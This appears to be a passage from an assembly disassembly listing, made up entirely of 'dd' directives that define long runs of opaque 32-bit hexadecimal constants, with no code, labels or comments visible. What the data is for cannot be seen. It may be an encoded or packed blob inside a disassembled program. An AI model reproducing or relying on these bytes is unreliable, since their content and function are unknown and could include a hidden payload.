0BAAA288Dh, 216D86A2h dd 0C8A02286h, 3103AB33h, 850AAB02h, 0A33654ACh, 0AA7ABD0Ch dd 62C8B042h, 0CBB4357h, 8B43ECE5h, 2210DC2Eh, 22DD041Bh dd 69A4690Fh, 522A0842h, 27C60022h, 0C6A77C64h, 49C4711Bh dd 8849E27h, 0A0160581h, 68A92A5Dh, 58CA7291h, 6C032EB8h dd 0C3FEB722h, 0CA36ADF6h, 18DE4B34h, 0DD2FFDD4h, 0A81E3D05h dd 32BE2305h, 0F3062E62h, 362F532Ah, 0B2ED0338h, 0CCAB8ADBh dd 755CD3B4h, 3AC08A35h, 0B419A4FEh, 0B4336E8Eh, 2D5ACCC3h dd 28D2D142h, 0DEB53393h, 8DD518F4h, 6153922Ch, 0E42E8C5Eh dd 2CE1E8F0h, 9D5199E3h, 388E2B27h, 0D4E6C2DCh, 2566E4B2h dd 0D5200BEFh, 24BE5206h, 3BB2DBDBh, 6ECEE75Ah, 36E0378Ch dd 61303B92h, 30DE7643h, 0EE4F5AD1h, 525485B9h, 7C932249h dd 0D218C8CAh, 0C3D10370h, 0ABEBB23Ah, 92A5C592h, 0FC1EB188h dd 990AC8F0h, 76A14828h, 33A8722Dh, 9ABE45D1h, 0E5EC1B5Eh dd 0A57D0C6Ch, 805FC341h, 46B82605h, 1D98180Ch, 38371D27h dd 59860601h, 89D68E90h, 42EB82D1h, 4870B2C0h, 0F488FFE3h dd 217A2D01h, 8305564Ch, 56FB43E2h, 42AEF15Dh, 68B6A372h dd 82B32EEBh, 3C079E2Fh, 0EE2C8F0h, 0F3588F42h, 423AC266h dd 0E8D188BAh, 4DFCB3DCh, 420E3B87h, 77BDDFF9h, 1C21F9FCh dd 39547D3Bh, 4390E34Dh, 480D5520h, 0BB208218h, 477E4C84h dd 0FEF90170h, 0E33F94D8h, 8C5189B8h, 241A4373h, 2CCB38C8h dd 0C3647DF0h, 47F26120h, 0CCA8E483h, 4F92D028h, 14E5A2C5h dd 6E8AD50Ah, 5A96B9F4h, 0D9AC6292h, 0CB2BCF30h, 6A534B42h dd 10E71D25h, 5AD759E5h, 846510Ah, 29D50097h, 18E16C63h dd 20C78309h, 2DC59990h, 5A52595Fh, 0AA96064Ch, 0ED72E5B5h dd 0E111DD22h, 0D8173D92h, 92F9812Bh, 0F75A3986h, 449D17AFh dd 9828EA0Bh, 3070188Dh, 7A0489Ch, 1D02A01Ah, 4A0760C0h dd 8E11E23Ch, 0E31C6370h, 404988E8h, 409A1202h, 71111E44h dd 425E3E09h, 63B47A8Fh, 8E12720h, 8ED21642h, 26E3E09Ah dd 3E48B12Ch, 8D11A222h, 18242408h, 14464931h, 3C8692D2h dd 212026A4h, 82143907h, 44188309h, 0C5323443h, 94C1C4B1h dd 28CE976h, 0BF11D68Bh, 778241DCh, 0F6659540h, 0F4CBC194h dd 79194329h, 0D688CD10h, 66750E27h, 8DC19C43h, 0C5FE5656h dd 0D04DB0AAh, 103CC698h, 0AF12BB2Ah, 33CE88BCh, 308E117Dh dd 6A4B47D1h, 539A9356h, 0E0C9036Bh, 41BF9682h, 3A473DE5h dd 43E4DCE1h, 2BB98B21h, 618AF35Eh, 0B159C338h, 65098A24h dd 475AC831h, 2431A224h, 0CB64C776h, 32575643h, 2A6EA462h dd 5B772849h, 722F13D0h, 86C97621h, 17A9525Ch, 82E3901Bh dd 1CC1FC31h, 0E57F45Ah, 2F84F8BAh, 17072C16h, 701781CDh dd 0F42C0580h, 386707A0h, 104E13C3h, 0EB398704h, 0CA6BBC3Ch dd 0BF373082h, 48F0C229h, 5396A314h, 61268360h, 2843C662h dd 3E5818DBh, 39612BF8h, 0CAF32DA5h, 61064126h, 123E534Ah dd 44989312h, 0D4AA9421h, 91724E3Ah, 546A854Fh, 0AA09BAA5h dd 98131552h, 0B554AAB0h, 0F6AA551Ah, 6C911111h, 0BAA91F44h dd 75782BD5h, 0EA88978Fh, 0D6BAD555h, 7FD22EABh, 5BAAD887h dd 0AAD4F131h, 53AED5C6h, 0B026EAADh, 0B556FECAh, 7CAB55C2h dd 2D5AEC05h, 16C256F1h, 748CB096h, 0F8F31FE4h, 52464848h dd 0AC849193h, 59392F1Dh, 92925ACAh, 1DA42494h, 0A7878111h dd 908FD596h, 0E5652CC4h, 8E384728h, 0D4811F6h, 0DACF1E24h dd 0F62A3F47h, 6C9890B1h, 48A12F6Ah, 0B3F5744Bh, 68640D8Dh dd 4458EB29h, 0AF1351F6h, 3706C8Dh, 0FC4B8789h, 98789156h dd 0C1CC2104h, 344E88BAh, 0A3246276h, 8678CCEDh, 520840Dh dd 0C48A6D28h, 0D802D6EAh, 6B305428h, 0B73F0F7Ah, 10EE1FF4h dd 0D4F058CEh, 8390FECAh, 297DBF11h, 0E9FD3D7Ah, 52D21683h dd 48CB6FAh, 9412944h, 0E04C9FEh, 0CC68C601h, 0FD02666Ch dd 1EC3C132h, 70510EE2h, 99D8266h, 0CA22921h, 7004BB7Fh dd 40A5CC83h, 6C89AE6Ah, 14609045h, 0F7CD5C32h, 1295D059h dd 0F504EC34h, 80E23FB4h, 0CBFEB0D8h, 0A9878930h, 0AC688EAAh dd 5E2BC55Dh, 53F424B2h, 4B0A9DFEh, 4A342362h, 21529476h dd 43C6662Ah, 8E4A8440h, 0A5E37C75h, 0F13F4DCCh, 1B32A5FDh dd 3B20CDBCh, 0F1B06225h, 4FCF9CBh, 4B2E2184h, 5612BDBBh dd 4FAA56F0h, 0BE9976FAh, 434BCB7Dh, 0D7C5BA1Fh, 68C08C5h dd 18C2231Bh, 580C8190h, 2DD50340h, 73E4B169h, 45A24ABh dd 0DE79C29Ah, 24B89578h, 2A856B28h, 0C890EA75h, 0A6252444h dd 0D808D498h, 0D68788B3h, 532E96CBh, 730E288Bh, 12FC7658h dd 6F0C3BBEh, 604A9774h, 5840EE14h, 4F847F02h, 2DF052F0h dd 5FA588A5h, 7D3052D6h, 857F48D3h, 0E6B2AA9h, 6CC43807h dd 0E0D32CF5h, 0FF443D6h, 0D37069C5h, 62653D8Ah, 0D7388B5Bh dd 0B79FD26Dh, 8A11522Ah, 31644454h, 4B36576Eh, 35C29F36h dd 1215D9BBh, 0C3329FC8h, 0C5329D65h, 366960C6h, 1443CD9Dh dd 5013C26Fh, 0B28CC19Ch, 0ED96079Fh, 142DF798h, 0BEAB02C9h dd 0FE2AA945h, 3CCE6919h dd 637C4A45h, 5C35B400h, 92572BEDh, 0F206E58Dh, 24281731h dd 28850ECCh, 66660317h, 0BA37411Ah, 0F40B66Bh, 2030D276h dd 4BC9B091h, 0EE869AAAh, 252A197Ch, 1BD95D44h, 0FCFED24Ch dd 5B2B4124h, 0E161E44Ah, 82E43842h, 0C978C8C0h, 0F8EAB2Ah dd 0F05D761Ch, 950D3A4Ch, 0FD2B0906h, 69412EF4h, 0BBFEC4F8h dd 37C60D03h, 6F31FBA8h, 93FB7CC9h, 0C0597906h, 818A0A96h dd 0ABDB29C1h, 408515BAh, 0AFE34E38h, 71060DD2h, 86C1E9B3h dd 9EAF6738h, 8C4FAD8Ch, 4705AE75h, 28272280h, 0B406B2BBh dd 495B29CFh, 0B3F676CBh, 6837C429h, 3943C60Ah, 8AF2016Dh dd 4D5C2155h, 8E50E1CBh, 64D81172h, 13778F03h, 373CE3DBh dd 2B0E3447h, 971BD490h, 0B5A97B57h, 0AC3D83F3h, 5EBE7A9Dh dd 0F183696Eh, 18BBEFE2h, 0ED0F0F21h, 0E605C097h, 0F1847405h dd 0B8470746h, 70C03BC2h, 2CFE4967h, 25453F89h, 0A9AE7487h dd 0DDAB2428h, 0C790A1F0h, 0ADB4852Eh, 53C65CCCh, 578E95C4h dd 2DFA7A86h, 7DF16FB4h, 9E537DCBh, 87801482h, 66460309h dd 0A6C50DA5h, 7FE1E9FEh, 0DEB5B7CEh, 0D1345959h, 77C00721h dd 66D37E1h, 0CB004B53h, 61B94386h, 3515D29Ah, 0A6419D04h dd 53C7E32Ah, 4C3376D2h, 801D68E1h, 0A8550271h, 0D32A4FCAh dd 0AB318A3Ch, 0C2939FF1h, 1EF59966h, 0BC2E8A1Eh, 36C17908h dd 2731C321h, 32151693h, 90D28082h, 2013F3B1h, 0A15BB8FBh dd 18A174BBh, 403D4388h, 602C9361h, 0BD81CAAFh, 0BC88DBD8h dd 1B8E1C73h, 2ED341A8h, 3E00F8F4h, 0E9A108A3h, 41539313h dd 640AE976h, 0D0390221h, 3CB82E9Eh, 2D02A2E6h, 43818020h dd 0B343CE89h, 36B362E8h, 101100D3h, 3E01D02h, 3AACA237h dd 0FA3C846Ah, 84B2CE1Eh, 0A203C424h, 0E427A4E2h, 4292A5A4h dd 44038839h, 0FFBAFEA8h, 81EFB141h, 2A208688h, 0F5841A53h dd 1213728h, 8BD838A5h, 87279088h, 0B26D9760h, 0ED348A1h dd 5937494Dh, 0F94D0BFAh, 935835A5h, 1A7022h, 70AD8372h dd 0BDF34F9Fh, 7CB99BD4h, 6B4994BAh, 2040DB9Fh, 7306998h dd 4BA7144Ah, 8AB3F1C4h, 0F3C46C46h, 51C6BF43h, 1544453Fh dd 370CBBA7h, 5BE78D48h, 0C493F80Dh, 383AE13Ch, 38321481h dd 25915204h, 0A98CB25Ah, 3B9E9CF9h, 81894A17h, 0A6B1B9BFh dd 6B2231C0h, 0A953BFA7h, 70414BDEh, 49C136C1h, 8A3BB4A2h dd 0BE40A159h, 0A0E1AC9h, 371AF644h, 31A979CDh, 0A9F48359h dd 2179BEBDh, 0EF1929C9h, 0B2274048h, 0A2725BC5h, 16BB09D2h dd 89C91772h, 834419C1h, 1BC1A830h, 841D3CDCh, 54B352Eh dd 7387F866h, 605B0664h, 8A28EF43h, 35B6F2F3h, 246729B9h dd 995B2227h, 64936B3Eh, 2325A02Ah, 0A5A9801h, 5B45521Eh dd 7C8758FEh, 52704558h, 88E8260Fh, 98257263h, 0FC738BFBh dd 84095487h, 3D3FB948h, 9A63C3C8h, 0B1F438A0h, 0B1A781F9h dd 70E1155Bh, 8B2086BBh, 0C90D3B60h, 44474470h, 40821BFh dd 4A0AC44Eh, 2BF29F54h, 3F78C4BFh, 0D2C943FBh, 0F151C938h dd 49A9388Dh, 0AB8D4A00h, 84B1FF2h, 4B2B6ACh, 3DAD62D6h dd 0BCA04242h, 844423ADh, 4AAA42C7h, 1ACAACAAh, 2CB84724h dd 0A94A3243h, 0DA4703C2h, 842A4EA4h, 0D2CAC4A5h, 0DACD23A2h dd 43AA7ACh, 28038C26h, 94294284h, 9EFA5342h, 33E73AAh dd 0E03C03BBh, 38C2EC2h, 0F5C30250h, 32A182A8h, 0C38C32A5h dd 8B9CFA79h, 6907B620h, 41802603h, 3402E8B3h, 0FC6EAE58h dd 3CE41C46h, 1C334BCFh, 64860549h, 0A7105D48h, 69C13925h dd 53BF38E2h, 1C3AF28Bh, 37B79AEEh, 273A1F4h, 365994AAh dd 0BCB90B6Dh, 0BC86018Ch, 0BE13E088h, 0FE0A821Ah, 550BF9A1h dd 0D07985D8h, 0DC4860Ch, 1A843Bh, 5C52840Ah, 9F935393h dd 0D639EB40h, 11F7154Bh, 22999814h, 0F01B0444h, 0C4969A63h dd 4E2156BAh, 478C294Fh, 8C50CD99h, 1A63AE1Ah, 0DABE749Ch dd 883BA624h, 8C920920h, 49C1448Ah, 68C01E1Bh, 8200B740h dd 113421E6h, 3A0FC58Ah, 0B8829D40h, 408C2405h, 2C7A3203h dd 8EF0A540h, 6F2950FCh, 20DB14D3h, 21520F3Ah, 0FE8B6CF7h dd 93998E12h, 959466B0h, 77229C02h, 62F61FB9h, 0B2A110C6h dd 16B2A0B7h, 9328260h, 46F331CCh, 33CC341Bh, 591C471Bh dd 85847387h, 1647280Dh, 80EF3210h, 155B890Ah, 0DA8248AAh dd 9B6D02ABh, 216215C7h, 27B8D3C1h, 527D4069h, 8EA92916h dd 2CA72BD2h, 2036A271h, 8B79654Dh, 0B031DA98h, 0CA9A0888h dd 0CD7C8602h, 0E68ADC73h, 3B1444D3h, 0CF99FC5h, 0CE3B7267h dd 63551CC0h, 1A0127B5h, 0C8FE39D2h, 8FB0C263h, 0DC8A0C00h dd 439ADB0h, 0C019F4E5h, 52D1538h, 1389FFA0h, 0AC3FA0D2h dd 0D5334960h, 35A8D544h, 0C8A61B58h, 119F2638h, 8C44E44Eh dd 263998C0h, 2463217Dh, 2703B519h, 0F3C40CCCh, 9A97BFE9h dd 1CD28015h, 0F8FA367h, 0B29ACCCDh, 459B8F4Fh, 249C3B72h dd 0E8360369h, 0A6637508h, 5F2F7410h, 13B0BD3Ch, 25C282CDh dd 692B081h, 45070ED9h, 0A2D07583h, 93C70508h, 0FD0A02F0h dd 4861843Ch, 8681380Dh, 0B9E81E49h, 81B0A91Bh, 1B33FC45h dd 2CB95128h, 0D83B3C6h, 4683708Fh, 99E21034h, 0CCF4BD88h dd 5881F3DCh, 60878225h, 2D425303h, 0A248623Bh, 0B130841Ah dd 0A770B9AFh, 860BB400h, 0EC86300Ch, 0B4E3022Fh, 3FD2588Fh dd 0C1984554h, 20B8DA0Bh, 4D6F3EEh, 0B13D9F32h, 3EA93F48h dd 1ED1E8C1h, 10E188F5h, 238DB26h, 2EA54A66h, 31FED785h dd 0C4C9FF31h, 1271FE9Dh, 9D8C3155h, 0A35AAA84h, 3F2946C8h dd 338C4311h, 1D281A5Dh, 0A238BB3Bh, 19920FFh, 48F88A3Ch dd 3EF8D81Eh, 0B331FB40h, 8970BDCBh, 3B99C240h, 0CBCCD36Fh dd 0E9950170h, 8F94088Fh, 8DAF4CFDh, 6A170AE3h, 8A418E58h dd 808A28F4h, 9223D4C2h, 0D1C28259h, 2A105B2Eh, 14C054FBh dd 0CC2D51CCh, 8BB33BCDh, 0C01C81C2h, 81C5A181h, 30D0C07Ch dd 8404A920h, 0C73CC68Ah, 0C1852862h, 207FD0B8h, 8520AA05h dd 79875C73h, 80554738h, 0C738528Ah, 550A8052h, 5879C738h dd 5AB5AC19h, 2296E057h, 0C05B4860h, 0AE875DAh, 79DA8857h dd 0D9B405D8h, 0DB217A3Dh, 5987987Fh, 602A8A40h, 859CB6C8h dd 4885DDB7h, 6DB5DB4Ah, 0C73CC604h, 0BFC8623Eh, 0DABCABC2h dd 0A47AB304h, 0DFADF23Ch, 0BDC55C82h, 2B50D52Ah, 0DA5C52A8h dd 0B2B9C9E2h, 5C6A46DCh, 3FDCF2C5h, 0BC9E2DAAh, 83C5CC5Ch dd 426046FEh, 45AB4ABAh, 0BABCAAC2h, 2C12BD2Ah, 0BBDD549Eh dd 12455D1Ah, 95099D58h, 0EA0C8D32h, 64959F54h, 452D5F49h dd 458CC0CCh, 5225A6CBh, 1C49308Bh, 79D89C57h, 0EBFE38CBh dd 58CA243Fh, 8A818971h, 8D40462Bh, 8C4CCC8Ah, 37890BF4h dd 82F13728h, 0A8C570Fh, 0AA9F5548h, 0E0AC9028h, 2F0B6225h dd 305469BBh, 23180A91h, 2C82A3AAh, 0C82E05C8h, 49A3AAh dd 0AC60492Dh, 5246E042h, 8CC4509Dh, 0CC685D2Eh, 0C212E0A0h dd 207CC73Dh, 85983485h, 0C305B473h, 5E0405B0h, 85D07FE0h dd 5B6068EDh, 0FDFF0820h, 0AEE05B07h, 59DC2071h, 0B6010C70h dd 60A03605h, 0FD5B14C6h, 38BDA820h, 85B5C206h, 0AF56B0A2h dd 9C8660F8h, 51B1E707h, 1015613h, 9DAC107Eh, 0BA303587h dd 9898C259h, 30BEAFF3h, 99917339h, 942623Fh, 0EB5FB74Ah dd 3EDCEDCEh, 9981A0CCh, 637C51C3h, 0FEB036E2h, 0E2803B81h dd 28628257h, 690F02CEh dd 8CE10810h, 28B979F0h, 0BA6352C6h, 629B5BB5h, 0FA94D628h dd 8C251A14h, 349EFAAh, 503F21AFh, 0AC93C9A9h, 3F4492CDh dd 0A215316Eh, 0ECFBCFB1h, 0CF399245h, 630A2123h, 2A619779h dd 0B77085BCh, 97434DE7h, 996C9292h, 93BBF13Dh, 0F18ED090h dd 3A255A50h, 90D9958Ah, 0CB4479A4h, 934643F8h, 95BB779Ch dd 19177373h, 0F0B0992Bh, 109B933Fh, 8B02D815h, 59C8151h dd 9D650782h, 2C1B09Eh, 75FE59F0h, 80B11C00h, 0B07CE0Fh dd 54860B06h, 60A01505h, 0A310E05Dh, 28AD863Dh, 5287FE1h dd 7FDA3015h, 465C8A80h, 96A6018Ah, 0B014B9AAh, 307307FDh dd 32A6160Ch, 7FE03820h, 0A0B78638h, 0D8705DE0h, 0BC815193h dd 0B0570B70h, 56B343DAh, 63E69817h, 0B60A0BB0h, 0E1610F05h dd 73E638FEh, 0FDA83894h, 4D887587h, 8EBA5957h, 0B0F7CCE0h dd 0A1FEEF0Bh, 6378DF35h, 151AEC95h, 0BB0943EBh, 0C95B9E92h dd 50BFA5DBh, 0D10F20A9h, 3F90C2A5h, 998C8150h, 0CC9BC9ACh dd 1EFC25C4h, 0C2158258h, 0A9EF55A8h, 271EFB5h, 8FA3C827h dd 1396348h, 1C603D45h, 0A5D82A0Ah, 0F8DE99D1h, 31F1A088h dd 0C3882036h, 0EDEE9CE1h, 371BD81Ch, 0BF4CC122h, 63169540h dd 8256783h, 0CAA249BBh, 469F0851h, 12A1CE88h, 3183481Eh dd 60AC93A5h, 82208269h, 30083697h, 88D8FFCh, 8AB96D9Fh dd 7AD3A208h, 0C1596503h, 2EEA9F15h, 0FD92AC34h, 982D8A10h dd 1D26248Dh, 4204D6Ah, 0C822081Ah, 0C198120Bh, 2102901Dh dd 600202F0h, 0D5455365h, 9C657A31h, 647289B0h, 0C73E5AE1h dd 86DB0DADh, 0F47385D8h, 26CDB08Bh, 0B202AE73h, 6826079Dh dd 12485D60h, 8FDC25B7h, 60524860h, 52DB22Fh, 835B0E40h dd 62168B70h, 9634C66Ch, 0BCEC9670h, 60CE5B08h, 5052FEC8h dd 0CD2031E7h, 58AD14Bh, 0F67885B6h, 99F3A594h, 0BB08267Ah dd 0D2CE02C8h, 0BA7E7D57h, 8E3A8E7Eh, 212BC433h, 8289F950h dd 0F8E865DCh, 0E25FE83Bh, 9521F54Dh, 879475DBh, 1BE76886h dd 0BA69FEACh, 9AD11821h, 0C0363FE3h, 42658103h, 55C441F0h dd 6E875DC9h, 53633F9Ch, 0F943ECE1h, 0F8F30B79h, 18A63D82h dd 6AC791E0h, 39978A53h, 0BA225A82h, 96D45A6Dh, 0F64D26D2h dd 93E3898Bh, 0BA0B88D7h, 220FB6B3h, 828B6F01h, 0F90AD93Ch dd 1A969ED9h, 0D050A4A7h, 26AF9E4Dh, 0A81766DBh, 0D1EC40EFh dd 4108086h, 0B6B45E8Ah, 2870120Bh, 94EB69D6h, 98946B88h dd 6BA805EBh, 900B1DBh, 76618580h, 0C8601F4Ch, 0BE486224h dd 0F05707FEh, 65160AE6h, 0AE079E66h, 2DAC079Dh, 54DB205h dd 0C27158E9h, 756B37ADh, 6010170Bh, 9698F4C6h, 5CC671BAh dd 71EE7099h, 86035D6Ch, 295B9C0Ch, 0F328EDFEh, 1B185766h dd 53EEE679h, 93194F64h, 9A76D938h, 24CDA8DEh, 35DE4928h dd 0CC3A40Dh, 302811F9h, 9EDE8BCBh, 13DCDABFh, 0C2BD5684h dd 41514990h, 4886E4EEh, 6914096Eh, 0A03C133Bh, 1E1F3A48h dd 2E9E1C85h, 1B0CC95h, 1E22570Ch, 220B22F6h, 0E8EE8AF8h dd 4085629Dh, 83C0D126h, 0AA7B0B00h, 0ADBEF9Ah, 0F098D67Ah dd 5826371Ah, 8B15E2D4h, 0C09EEC56h, 8DE18890h, 1C38F88Ah dd 8682AB90h, 252B5488h, 9D2B1F9Eh, 2A884964h, 0F88C64F9h dd 0E31E481Bh, 0DD9736B1h, 709085Eh, 4C1F0A02h, 0C030021h dd 0EC1DE56Fh, 0C00C70h, 15A8F81Ch, 0A04A07CFh, 24948604h dd 42486047h, 0D50B847Ah, 85560A05h, 0B2049A47h, 0F607062Dh dd 5BB4735Fh, 0B204A762h, 2DC185B5h, 48604BDCh, 22F6F2A3h dd 0B5F807CFh, 76D2A423h, 18EBDF64h, 156AC73Eh, 6BDED077h dd 0AD725EA7h, 0FE525AA8h, 8ED5F278h, 72999F72h, 2B14B90Ch dd 33FB9A87h, 9AF35D73h, 9B3FD72Eh, 0CF7D4002h, 73210810h dd 5D6E0C96h, 64994D8Ah, 0E8703263h, 0E65DB951h, 20330D54h dd 3303303h, 4BC61738h, 0A08F10F1h, 0EAB48562h, 2A0871CFh dd 72504B79h, 0C3431810h, 2D88C503h, 0FB221690h, 2929B600h dd 0B4F4AC36h, 4962CF80h, 0BCEB2F0h, 5F9953C8h, 7C681609h dd 0B6E8F6EFh, 0A182DCD2h, 0ECCF9597h, 814B9595h, 5C9300F4h dd 74CE9D12h, 226B2590h, 311EC6F8h, 56481311h, 0D9A96470h dd 7130932Eh, 23804189h, 0F0C801B3h, 1C657553h, 680C0059h dd 30033B3h, 3E03E486h, 0E0364D20h, 992DBB5Ah, 0BB718E05h dd 0CE69D1C5h, 6046665Ah, 86014BE2h, 201202ECh, 473CD1CDh dd 47EC908Dh, 88868BDDh, 831EA488h, 2248602Fh, 0E0824861h dd 0A035AEECh, 0A8713C39h, 756B1E98h, 20643D74h, 6E8ADF80h dd 6FEF291h, 0E01B77D4h, 77FC88F7h, 81F850DDh, 0FC664DD7h dd 72E731D6h, 85A080C8h, 0F786BD57h, 0E826366Dh, 3BC99FD9h dd 0D78B78B4h, 43FA043Bh, 3308F88Eh, 8C2EA79Ch, 84E24A24h dd 0E2FE27E1h, 7DF87E27h, 0AD42A42Dh, 6C047A41h, 87E7FE77h dd 7E184AFEh, 0DD2CB849h, 0A84704AAh, 7EBFEC84h, 0A02DF847h dd 52482AFCh, 4D249FEh, 0E87E9046h, 0C7EC84A7h, 0A49A37F6h dd 0C9AA42A3h, 6AB00462h, 76804184h, 0E87657E5h, 704824C7h dd 2C7A3E5Ch, 4CF70248h, 2E304DAh, 209A4D08h, 0C8E49A41h dd 9347A3D1h, 52AC310Ah, 368B48C5h, 50BA262Eh, 8A881131h dd 2351A8Ch, 0AA6D369h, 80401711h, 0CE63F974h, 54211A1Ch dd 0E0280CBCh, 2F13C9E5h, 5845DEEAh, 2C180B0h, 0C2760C07h dd 0C24A963Ah, 0FEFF5B06h, 65F163ADh, 3152BFE8h, 0E5D50D8Eh dd 0A43CE331h, 0CC523CB6h, 8B5E7437h, 0E5FF5116h, 62B1FE4Bh dd 0A9A40F85h, 118D0E84h, 5DC6E903h, 58C55557h, 44CD6BB3h dd 0B45C361Bh, 85846319h, 0C6FFB258h, 913A40A8h, 40553CECh dd 0E8A2EC5Ch, 0AC956902h, 750EFB59h, 146E46B5h, 4468B6A1h dd 8B95CA9h, 3396CC66h, 0C592CE6Bh, 6689DC06h, 63C5C463h dd 0D49E90E9h, 4A1CF464h, 0EC3399B3h, 14A396D8h, 0B4051D99h dd 0DBADCE1h, 0E6EDA1AFh, 0BF34F037h, 0FB80D36Bh, 0CA0D06D8h dd 6F038451h, 0A0503BFEh, 3D028743h, 0B51D2E8Fh, 0E64321Eh dd 99ECF1DDh, 0E23C0F07h, 34B1E8F1h, 0F4A37C5Eh, 9A4E09EAh dd 0FC1388C4h, 0C3E7F2F8h, 3EF074AFh, 1E85FCC3h, 0FFE4A229h dd 8867FBFh, 0FF80E038h, 231077D9h, 1F723209h, 0E23D0883h dd 0A9042148h, 721C5E97h, 7E8831C4h, 0C8E1CA11h, 61F87E7Fh dd 0F08F7FC8h, 6F17E231h, 1BC55438h, 0C2D18C63h, 0F1182D8Ah dd 451017C5h, 1946C6D4h, 0F846565h, 0B0A45FFEh, 7C2C8EE3h dd 5B118460h, 5982A908h, 2474791Fh, 0C1B11E92h, 386C6783h dd 6F47E4E9h, 1BE258E4h, 0D0E1306Fh, 9388318h, 0C46C93DEh dd 6C68E490h, 110315C0h, 0D2548D21h, 0D4AD2949h, 0CD314BD2h dd 394DD354h, 3300C4EDh, 4F952148h, 61745F2Ah, 6CA59DE7h dd 0A5520BA4h, 44DA41B4h, 4BB3FE80h, 0A3168656h, 142B8EC3h dd 0B650E7C3h, 46D680B4h, 4BA9D95Bh, 0F0A9B85Ch, 4E909D62h dd 232B95B5h, 0A6148A59h, 0A2762113h, 25214C47h, 25480D97h dd 0B4AC1B67h, 67995665h, 0D66451B8h, 26985944h, 0B5AC6A5Dh dd 0B1ABC516h, 6DEC3B0Ah, 0EC76EDA1h, 0E6FAC91Ah, 19C4731Ch dd 0C2B05727h, 665C0115h, 5D4741CDh, 975DD01Ah, 0A4696B06h dd 0B8684771h, 92C3C63Dh, 86C67C69h, 36E6B50Dh, 19198D1Ah dd 3E07C1F1h, 0FA400F8h, 8298F02Ch, 90B6F2BCh, 23E8E6Fh dd 10B2309h, 0FEA3CBDBh, 0A0842110h, 28271284h, 4610421Ch dd 62A408FDh, 62DBBE37h dd 0B8B446BEh, 0BE3653D1h, 590AA40Bh, 1482CBD5h, 45210441h dd 0C17E30C0h, 0A8461742h, 2B8B06D0h, 0A82DCB2h, 45FC9C63h dd 348D1256h, 8D5947A8h, 3A8EE391h, 11AF3A30h, 71609024h dd 5626640Bh, 6E344663h, 0B70D9161h, 1AD8F44Dh, 81F0A831h dd 0A0F85FC0h, 124318E2h, 70B242E9h, 909181B5h, 831A0E42h dd 2993515Ch, 0A1264912h, 2E4B12A4h, 4D1324C1h, 13A4E136h dd 0F558CC4Fh, 7CB63CCFh, 5B5201FCh, 89CA5331h, 1432A62Ah dd 0E5B50E33h, 0A9432A91h, 0FFE0E552h, 180602A4h, 0EB0FB3Eh dd 62E8BA57h, 204C2D95h, 0B6466485h, 348F956Ch, 59F5C4AEh dd 0CE4F3B45h, 60BB2ED5h, 5129431Eh, 0A9182D9h, 4F950F9Eh dd 5A9BA231h, 3D669216h, 92AB378Ah, 77AB4B05h, 0FC065FC1h dd 4ADEC967h, 9C96AEA8h, 0AE749D76h, 59FE6EFDh, 367BD1F0h dd 3EC7ADACh, 0CB63DBCDh, 0B02CD736h, 9CA722CFh, 1B55C3B4h dd 6ADEB79Ch, 0ADB71ADBh, 0A10771DDh, 0AE80B973h, 0C0DAE597h dd 14691646h, 0AC67EE61h, 8D9A2B8Ah, 3520B82Dh, 2F25FA8Eh dd 981312Bh, 8FC1F2FCh, 93B265E0h, 3C64E519h, 84C89902h dd 59AB3230h, 88240B6Ch, 0A6208B18h, 0C760D18h, 0D2F91966h dd 0A4148046h, 6A80B60Eh, 8F42082Ch, 2EA53810h, 89062458h dd 56CB12B9h, 0BC1602A6h, 21590580h, 0E65EF1D4h, 0C0A4AF83h dd 12016067h, 8240A609h, 68C15431h, 465A404Ch, 1705B684h dd 5C068654h, 0A8455563h, 0B5792306h, 7A8383C8h, 858A164Ch dd 0C47995B6h, 1FF9722Ch, 0A686D048h, 0E6151B5h, 9B402003h dd 0A0F3264h, 38072078h, 700780F0h, 0E01C0190h, 386707A0h dd 404205C1h, 6584A332h, 62231E28h, 0A250DE0Bh, 1FE51C16h dd 5D21B8B3h, 3185529Eh, 8021FEBCh, 2402923Ah, 2A946053h dd 5A65ACEEh, 0CC4460C3h, 10D1A5E2h, 0E445830Ah, 10D89764h dd 7A90987h, 4B88811h, 4A99532Ah, 95A26C4Dh, 26257CAEh dd 4C4AD962h, 0B696AF28h, 6226DE54h, 0BE5ACBA9h, 809695F2h dd 0B1312EA5h, 478A5A89h, 0E63CC695h, 4C196A25h, 96F2DE5Ah dd 3425E9A6h, 6087A983h, 0BF9992E6h, 7B32A56Ch, 726DCDA5h dd 8CCC3533h, 0A34D2DA5h, 0EB90F1BCh, 0C444A612h, 3C38B2B7h dd 7F40D0CBh, 0A6CB9BD6h, 16A38844h, 605E5014h, 0F3E2039h dd 0BE493018h, 43029FA0h, 66B0D120h, 0EBC12017h, 0A0C2F361h dd 1892B246h, 604C4A4Ch, 3581492h, 2AD0A463h, 14916899h dd 74557CDh, 0B4419661h, 610E1061h, 24769482h, 0E10A9184h dd 9AC17667h, 34B454CEh, 86E43A2Eh, 59927831h, 31BFF38Eh dd 5C62207Ch, 434BDB1Ch, 0F038D2F9h, 9072A794h, 0DA8220C3h dd 0E2688108h, 99E912FEh, 4D22104h, 0E1682A03h, 0C754698Ch dd 1826A3Ch, 4E64DC9Ch, 9C0D016h, 1A82103Ah, 2A290C96h dd 4C8B40FAh, 0FCB50A57h, 49BD3163h, 92CCFCD6h, 93ED7918h dd 416B5747h, 0B1765E15h, 62342E84h, 0BABBC9Ch, 5C57793Ch dd 23238599h, 0C093D959h, 10F3D823h, 0DBCC96B6h, 99D81DD6h dd 0EFD6C59Ch, 5F59D7B0h, 87778277h, 3A563834h, 0B24EE9A7h dd 2411D246h, 8323CCDDh, 9011C171h, 7676AC23h, 82E97F4Dh dd 0F7CAFAECh, 0A6CD592Dh, 4DAD9308h, 0AC4B4C65h, 39865ED9h dd 0FAD6F881h, 0DBBD30A2h, 0E394C784h, 64B9AC99h, 98D9DB05h dd 89A0B8B6h, 0F6B14099h, 0B3E51CAEh, 415C3BB9h, 83E8160Ah dd 6B0BE6E8h, 3D01F5CEh, 0F4555E7h, 16A07262h, 4ABF57A3h dd 8603B266h, 0BB3A4555h, 462CEDAh, 0FFDAD91h, 6E9D6B67h dd 8529200Ah, 6B2D591Dh, 16D165DBh, 0C3302F8h, 0FE9394E2h dd 8C8BABC6h, 1D7B240h, 2F29ED8Fh, 434E2B8Bh, 0E6319222h dd 754C0A80h, 0AA0DBEAh, 89CDB9A7h, 2AD14001h, 0C7D64AC3h dd 837230BDh, 0A487FE1Bh, 0D805968Ah, 440D917Eh, 74BC9170h dd 0C2EC3564h, 227AE35h, 0F48E1109h, 689E02D1h, 6A084410h dd 0A5FC0550h, 